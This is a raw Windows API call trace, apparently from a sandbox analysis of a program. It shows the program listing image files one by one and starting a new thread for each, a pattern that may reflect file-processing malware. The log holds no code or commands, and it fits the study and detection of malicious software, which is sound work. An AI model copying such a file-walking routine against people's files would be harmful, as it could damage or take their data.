	[0278.396] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0278.396] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f489ab0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2e1c
	[0278.397] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0278.397] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7b4c2400, ftCreationTime.dwHighDateTime=0x1bf2c95, ftLastAccessTime.dwLowDateTime=0xbd643aa0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x7b4c2400, ftLastWriteTime.dwHighDateTime=0x1bf2c95, nFileSizeHigh=0x0, nFileSizeLow=0xcd52, dwReserved0=0x6e, dwReserved1=0x0, cFileName="J0297185.WMF", cAlternateFileName="")) returned 1
	[0278.398] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0278.398] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f48d190, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2e20
	[0278.399] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0278.400] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74beac00, ftCreationTime.dwHighDateTime=0x1bf2c97, ftLastAccessTime.dwLowDateTime=0xbd643aa0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x74beac00, ftLastWriteTime.dwHighDateTime=0x1bf2c97, nFileSizeHigh=0x0, nFileSizeLow=0x6db8, dwReserved0=0x6e, dwReserved1=0x0, cFileName="J0297551.WMF", cAlternateFileName="")) returned 1
	[0278.400] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0278.400] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f490870, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2e24
	[0278.402] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0278.402] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x50170400, ftCreationTime.dwHighDateTime=0x1bf2c98, ftLastAccessTime.dwLowDateTime=0xbd643aa0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x50170400, ftLastWriteTime.dwHighDateTime=0x1bf2c98, nFileSizeHigh=0x0, nFileSizeLow=0xa7c2, dwReserved0=0x6e, dwReserved1=0x0, cFileName="J0297707.WMF", cAlternateFileName="")) returned 1
	[0278.402] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0278.403] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f493f50, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2e28
	[0278.404] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0278.405] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x848ac000, ftCreationTime.dwHighDateTime=0x1bf2c98, ftLastAccessTime.dwLowDateTime=0xbd643aa0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x848ac000, ftLastWriteTime.dwHighDateTime=0x1bf2c98, nFileSizeHigh=0x0, nFileSizeLow=0x27ba, dwReserved0=0x6e, dwReserved1=0x0, cFileName="J0297749.WMF", cAlternateFileName="")) returned 1
	[0278.405] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0278.406] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f497630, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2e2c
	[0278.407] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0278.408] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xae3dea00, ftCreationTime.dwHighDateTime=0x1bf2c8c, ftLastAccessTime.dwLowDateTime=0xbd669c00, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xae3dea00, ftLastWriteTime.dwHighDateTime=0x1bf2c8c, nFileSizeHigh=0x0, nFileSizeLow=0x197e, dwReserved0=0x6e, dwReserved1=0x0, cFileName="J0298653.WMF", cAlternateFileName="")) returned 1
	[0278.408] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0278.409] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f49ad10, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2e30
	[0278.410] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0278.410] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2dcbb900, ftCreationTime.dwHighDateTime=0x1bf2c8d, ftLastAccessTime.dwLowDateTime=0xbd669c00, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x2dcbb900, ftLastWriteTime.dwHighDateTime=0x1bf2c8d, nFileSizeHigh=0x0, nFileSizeLow=0x19a6, dwReserved0=0x6e, dwReserved1=0x0, cFileName="J0298897.WMF", cAlternateFileName="")) returned 1
	[0278.410] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0278.411] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f49e3f0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2e34
	[0278.412] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0278.413] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x15fa3200, ftCreationTime.dwHighDateTime=0x1bf2c99, ftLastAccessTime.dwLowDateTime=0xbd669c00, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x15fa3200, ftLastWriteTime.dwHighDateTime=0x1bf2c99, nFileSizeHigh=0x0, nFileSizeLow=0x163c, dwReserved0=0x6e, dwReserved1=0x0, cFileName="J0299125.WMF", cAlternateFileName="")) returned 1
	[0278.413] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0278.414] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4a1ad0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2e38
	[0278.597] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0278.598] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x375b1e00, ftCreationTime.dwHighDateTime=0x1bf2c99, ftLastAccessTime.dwLowDateTime=0xbd669c00, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x375b1e00, ftLastWriteTime.dwHighDateTime=0x1bf2c99, nFileSizeHigh=0x0, nFileSizeLow=0x23b6, dwReserved0=0x6e, dwReserved1=0x0, cFileName="J0299171.WMF", cAlternateFileName="")) returned 1
	[0278.598] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0278.599] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4a51b0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2e3c
	[0278.600] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0278.600] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa08f6100, ftCreationTime.dwHighDateTime=0x1bf2c9a, ftLastAccessTime.dwLowDateTime=0xbd669c00, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xa08f6100, ftLastWriteTime.dwHighDateTime=0x1bf2c9a, nFileSizeHigh=0x0, nFileSizeLow=0x62c8, dwReserved0=0x6e, dwReserved1=0x0, cFileName="J0299587.WMF", cAlternateFileName="")) returned 1
	[0278.601] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0278.601] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4a8890, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2e40
	[0278.602] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0278.603] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbd2b9900, ftCreationTime.dwHighDateTime=0x1bf2c9a, ftLastAccessTime.dwLowDateTime=0xbd669c00, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xbd2b9900, ftLastWriteTime.dwHighDateTime=0x1bf2c9a, nFileSizeHigh=0x0, nFileSizeLow=0x1310, dwReserved0=0x6e, dwReserved1=0x0, cFileName="J0299611.WMF", cAlternateFileName="")) returned 1
	[0278.603] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0278.604] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4abf70, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2e44
	[0278.605] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0278.605] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5e1a5400, ftCreationTime.dwHighDateTime=0x1bf2c9b, ftLastAccessTime.dwLowDateTime=0xbd68fd60, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x5e1a5400, ftLastWriteTime.dwHighDateTime=0x1bf2c9b, nFileSizeHigh=0x0, nFileSizeLow=0x4322, dwReserved0=0x6e, dwReserved1=0x0, cFileName="J0299763.WMF", cAlternateFileName="")) returned 1
	[0278.605] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0278.606] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4af650, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2e48
	[0278.607] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0278.608] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf0508500, ftCreationTime.dwHighDateTime=0x1bf3a1b, ftLastAccessTime.dwLowDateTime=0xbd68fd60, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xf0508500, ftLastWriteTime.dwHighDateTime=0x1bf3a1b, nFileSizeHigh=0x0, nFileSizeLow=0x3465, dwReserved0=0x6e, dwReserved1=0x0, cFileName="J0300520.GIF", cAlternateFileName="")) returned 1
	[0278.608] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0278.609] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4b2d30, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2e4c
	[0278.610] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0278.610] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf9b61300, ftCreationTime.dwHighDateTime=0x1bf452c, ftLastAccessTime.dwLowDateTime=0xbd68fd60, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xf9b61300, ftLastWriteTime.dwHighDateTime=0x1bf452c, nFileSizeHigh=0x0, nFileSizeLow=0x239c, dwReserved0=0x6e, dwReserved1=0x0, cFileName="J0300840.WMF", cAlternateFileName="")) returned 1
	[0278.610] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0278.611] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4b6410, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2e50
	[0278.612] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0278.613] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x616c5e00, ftCreationTime.dwHighDateTime=0x1bf452d, ftLastAccessTime.dwLowDateTime=0xbd68fd60, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x616c5e00, ftLastWriteTime.dwHighDateTime=0x1bf452d, nFileSizeHigh=0x0, nFileSizeLow=0xdafc, dwReserved0=0x6e, dwReserved1=0x0, cFileName="J0300912.WMF", cAlternateFileName="")) returned 1
	[0278.613] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0278.614] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4b9af0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2e54
	[0278.615] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0278.615] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfb340b00, ftCreationTime.dwHighDateTime=0x1bf452d, ftLastAccessTime.dwLowDateTime=0xbd68fd60, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xfb340b00, ftLastWriteTime.dwHighDateTime=0x1bf452d, nFileSizeHigh=0x0, nFileSizeLow=0x2fd8, dwReserved0=0x6e, dwReserved1=0x0, cFileName="J0301050.WMF", cAlternateFileName="")) returned 1
	[0278.615] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0278.616] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4bd1d0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2e58
	[0278.617] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0278.617] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf780800, ftCreationTime.dwHighDateTime=0x1bf452e, ftLastAccessTime.dwLowDateTime=0xbd68fd60, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xf780800, ftLastWriteTime.dwHighDateTime=0x1bf452e, nFileSizeHigh=0x0, nFileSizeLow=0x224e, dwReserved0=0x6e, dwReserved1=0x0, cFileName="J0301076.WMF", cAlternateFileName="")) returned 1
	[0278.617] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0278.618] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4c08b0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2e5c
	[0278.619] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0278.620] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf91e7c00, ftCreationTime.dwHighDateTime=0x1bf452e, ftLastAccessTime.dwLowDateTime=0xbd68fd60, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xf91e7c00, ftLastWriteTime.dwHighDateTime=0x1bf452e, nFileSizeHigh=0x0, nFileSizeLow=0x953a, dwReserved0=0x6e, dwReserved1=0x0, cFileName="J0301252.WMF", cAlternateFileName="")) returned 1
	[0278.620] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0278.620] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4c3f90, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2e60
	[0278.621] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0278.622] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5570900, ftCreationTime.dwHighDateTime=0x1bf4530, ftLastAccessTime.dwLowDateTime=0xbd6b5ec0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x5570900, ftLastWriteTime.dwHighDateTime=0x1bf4530, nFileSizeHigh=0x0, nFileSizeLow=0x1f40, dwReserved0=0x6e, dwReserved1=0x0, cFileName="J0301480.WMF", cAlternateFileName="")) returned 1
	[0278.622] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0278.623] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4c7670, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2e64
	[0278.624] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0278.625] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xced53d00, ftCreationTime.dwHighDateTime=0x1bf4a9f, ftLastAccessTime.dwLowDateTime=0xbd6b5ec0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xced53d00, ftLastWriteTime.dwHighDateTime=0x1bf4a9f, nFileSizeHigh=0x0, nFileSizeLow=0x5a2b, dwReserved0=0x6e, dwReserved1=0x0, cFileName="J0302827.JPG", cAlternateFileName="")) returned 1
	[0278.625] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0278.626] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4cad50, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2e68
	[0278.627] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0278.628] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x33a69b00, ftCreationTime.dwHighDateTime=0x1bf4b65, ftLastAccessTime.dwLowDateTime=0xbd6b5ec0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x33a69b00, ftLastWriteTime.dwHighDateTime=0x1bf4b65, nFileSizeHigh=0x0, nFileSizeLow=0x25c1, dwReserved0=0x6e, dwReserved1=0x0, cFileName="J0302953.JPG", cAlternateFileName="")) returned 1
	[0278.628] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0278.629] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4ce430, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2e6c
	[0278.630] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0278.630] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfa04dd00, ftCreationTime.dwHighDateTime=0x1bf4531, ftLastAccessTime.dwLowDateTime=0xbd6b5ec0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xfa04dd00, ftLastWriteTime.dwHighDateTime=0x1bf4531, nFileSizeHigh=0x0, nFileSizeLow=0x4d84, dwReserved0=0x6e, dwReserved1=0x0, cFileName="J0304933.WMF", cAlternateFileName="")) returned 1
	[0278.631] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0278.631] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4d1b10, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2e70
	[0278.943] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0278.943] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3ab12600, ftCreationTime.dwHighDateTime=0x1bf4533, ftLastAccessTime.dwLowDateTime=0xbd6b5ec0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x3ab12600, ftLastWriteTime.dwHighDateTime=0x1bf4533, nFileSizeHigh=0x0, nFileSizeLow=0x5af0, dwReserved0=0x6e, dwReserved1=0x0, cFileName="J0305257.WMF", cAlternateFileName="")) returned 1
	[0278.944] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0278.944] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f475170, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2e74
	[0278.945] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0278.945] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x494c0d00, ftCreationTime.dwHighDateTime=0x1bf4534, ftLastAccessTime.dwLowDateTime=0xbd6b5ec0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x494c0d00, ftLastWriteTime.dwHighDateTime=0x1bf4534, nFileSizeHigh=0x0, nFileSizeLow=0x3372, dwReserved0=0x6e, dwReserved1=0x0, cFileName="J0305493.WMF", cAlternateFileName="")) returned 1
	[0278.946] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0278.946] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f478850, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2e78
	[0278.947] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0278.948] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb8598100, ftCreationTime.dwHighDateTime=0x1bf71c6, ftLastAccessTime.dwLowDateTime=0xbd6dc020, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xb8598100, ftLastWriteTime.dwHighDateTime=0x1bf71c6, nFileSizeHigh=0x0, nFileSizeLow=0x60e4, dwReserved0=0x6e, dwReserved1=0x0, cFileName="J0315447.JPG", cAlternateFileName="")) returned 1
	[0278.948] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0278.948] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f47bf30, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2e7c
	[0278.949] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0278.949] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x653ad300, ftCreationTime.dwHighDateTime=0x1bfaf58, ftLastAccessTime.dwLowDateTime=0xbd6dc020, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x653ad300, ftLastWriteTime.dwHighDateTime=0x1bfaf58, nFileSizeHigh=0x0, nFileSizeLow=0x5168, dwReserved0=0x6e, dwReserved1=0x0, cFileName="J0332268.WMF", cAlternateFileName="")) returned 1
	[0278.949] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0278.950] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f47f610, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2e80
	[0278.951] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0278.951] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x666c0000, ftCreationTime.dwHighDateTime=0x1bfaf58, ftLastAccessTime.dwLowDateTime=0xbd6dc020, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x666c0000, ftLastWriteTime.dwHighDateTime=0x1bfaf58, nFileSizeHigh=0x0, nFileSizeLow=0x47c2, dwReserved0=0x6e, dwReserved1=0x0, cFileName="J0332364.WMF", cAlternateFileName="")) returned 1
	[0278.951] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0278.952] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f482cf0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2e84
	[0278.953] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
